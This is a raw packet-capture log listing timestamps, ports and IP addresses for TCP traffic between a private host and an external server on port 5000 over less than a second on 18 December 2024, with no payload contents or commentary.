Dec 18, 2024 11:56:26.750905037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.750963926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.750999928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.751616955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.751631021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.751674891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.752453089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.752469063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.752511024 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.753123045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.753135920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.753181934 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.753899097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.754208088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.754591942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.754822016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.755048990 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.755094051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.755805016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.755865097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.755908012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.756722927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.756998062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.757041931 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.757514000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.757720947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.757769108 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.758476973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.758678913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.758721113 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.759638071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.759746075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.759790897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.760914087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.760977983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.761018038 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.761765003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.761820078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.761859894 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.762584925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.762587070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.762628078 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.763302088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.763492107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.763531923 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.763993979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.764142990 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.764175892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.765204906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.765216112 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.765280008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.766239882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.766364098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.766403913 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.767303944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.767430067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.767479897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.768672943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.768790007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.768826008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.769794941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.769857883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.769898891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.770574093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.770684958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.770728111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.771465063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.771507025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.771552086 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.772233963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.772337914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.772381067 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.773004055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.773139954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.773190975 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.773838043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.773998022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.774039030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.774544001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.774672031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.774719954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.775362968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.775481939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.775532961 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.776109934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.776176929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.776217937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.777173996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.777523041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.777565956 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.778361082 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.778433084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.778493881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.780147076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.787066936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.787118912 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.787130117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.787353992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.787393093 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.787400961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.788383007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.788394928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.788424969 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.789192915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.789205074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.789252996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.926649094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.926666021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.926733017 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.926784992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.926796913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.926837921 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.927687883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.927700043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.927747011 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.928576946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.928589106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.928636074 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.929064989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.929202080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.929244041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.929852962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.930088997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.930139065 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.930480957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.930641890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.930677891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.931286097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.931355953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.931396961 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.932044983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.932185888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.932229042 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.932765007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.933130026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.933173895 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.933674097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.934139013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.934185982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.934639931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.934658051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.934701920 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.935528040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.935736895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.935784101 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.936306000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.936460018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.936516047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.937186956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.937498093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.937549114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.938070059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.938357115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.938406944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.939096928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.939251900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.939301014 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.940048933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.940181017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.940222979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.940788031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.941001892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.941049099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.941562891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.941705942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.941749096 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.942409992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.942461967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.942511082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.943258047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.943382978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.943429947 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.944242001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.944259882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.944299936 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.945442915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.945544004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.945755959 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.945913076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.946079016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.946120024 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.946904898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.947020054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.947062016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.947840929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.947942972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.947992086 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.948698997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.948859930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.948904991 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.949563980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.949582100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.949619055 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.950470924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.950640917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.950690031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.951525927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.951538086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.951592922 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.952521086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.952533960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.952572107 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.953207016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.953219891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.953265905 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.954195023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.954207897 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.954241991 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.954921961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.955357075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.955403090 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.955929995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.955943108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.955981970 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.956999063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.957011938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.957053900 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.957668066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.957833052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.957870960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.958542109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.958714962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.958756924 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.959444046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.959455967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.959496021 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.960299969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.960417032 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.960465908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.961302996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.961314917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.961366892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.962202072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.962213993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.962258101 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.962996006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.963264942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.963310957 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.964056969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.964070082 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.964112997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.965161085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.965442896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.965488911 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.965925932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.966212034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.966259956 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.966958046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.967191935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.967236996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.967792988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.967910051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.967958927 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.968708038 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.968720913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.968760014 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.969842911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.977643967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.977657080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.977689981 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.978101015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.978113890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.978147030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.978751898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.978792906 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.978895903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.979732037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.979784012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.116559982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.116698027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.116764069 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.117101908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.117238998 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.117252111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.117297888 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.118155003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.118211031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.118577003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.118967056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.119219065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.119277954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.119887114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.119936943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.120291948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.120695114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.120735884 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.120735884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.121624947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.121638060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.121681929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.122601032 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.122824907 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.122945070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.123631001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.123642921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.123697042 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.124511003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.124581099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.124706030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.125503063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.125562906 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.125742912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.126766920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.127049923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.127109051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.128053904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.128066063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.128118038 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.129070997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.129132986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.129201889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.130184889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.130198002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.130235910 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.131362915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.131413937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.131439924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.132292032 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.132364035 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.132525921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.133256912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.133305073 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.133419037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.134188890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.134202003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.134252071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.134860992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.134872913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.134918928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.135597944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.135656118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.135977030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.136615992 CET	5000	49706	194.59.30.220	192.168.2.8
